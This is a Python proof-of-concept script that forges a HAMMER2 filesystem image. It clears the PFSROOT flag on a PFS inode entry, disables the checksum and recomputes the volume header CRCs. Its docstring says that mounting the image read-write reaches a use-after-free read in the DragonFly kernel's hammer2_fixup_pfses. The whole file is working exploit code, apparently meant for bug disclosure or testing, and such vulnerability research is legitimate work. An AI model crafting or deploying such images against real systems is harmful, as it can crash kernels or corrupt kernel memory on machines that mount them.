#!/usr/bin/env python3
"""
DF-2623 PoC image forger.

Base: newfs_hammer2 -L testvol with one small file.  The PFS "testvol"
inode bref in the sroot blockset has its HAMMER2_BREF_FLAG_PFSROOT bit
CLEARED, so an RW mount runs hammer2_fixup_pfses() on it:
  ripdata = &chain->data->ipdata            (vfsops.c:2399)
  hammer2_chain_modify(...)                 (vfsops.c:2401) COWs the chain
      -> chain.c bcopy + hammer2_io_bqrelse(&tio) releases the OLD dio
  kprintf("... PFS %s", ripdata->filename)  (vfsops.c:2405-2406)
  == read of the filename through a pointer into the RELEASED old buffer.

sroot bref set to CHECK_NONE + volhdr CRCs recomputed (sroot block content
changed: the PFS inode bref's flags byte).
"""
import struct, sys
sys.path.insert(0, '/tmp/opencode/dfv')
from h2common import *

def main():
    base, out = sys.argv[1:3]
    img = bytearray(open(base, 'rb').read())
    vols, sbr = find_sroot(img)
    pbr = find_pfs_bref(img, sbr, b'testvol')
    assert pbr, "testvol PFS not found"
    oldflags = img[pbr['off'] + 0x05]
    assert oldflags & PFSROOT, "PFSROOT not set in base?!"

    struct.pack_into('<B', img, pbr['off'] + 0x05, oldflags & ~PFSROOT)
    struct.pack_into('<B', img, pbr['off'] + 0x01, 0x00)   # not needed, keep CRC-free anyway
    for v in vols:
        struct.pack_into('<B', img, v + 0x201, 0x00)       # sroot bref CHECK_NONE
    recompute_volhdr_crcs(img)
    open(out, 'wb').write(img)
    print("[+] PFS bref @ %#x: flags %#x -> %#x (PFSROOT cleared) -> "
          "hammer2_fixup_pfses kprintf path armed" %
          (pbr['off'], oldflags, oldflags & ~PFSROOT))
    print("[+] wrote %s" % out)

if __name__ == '__main__':
    main()
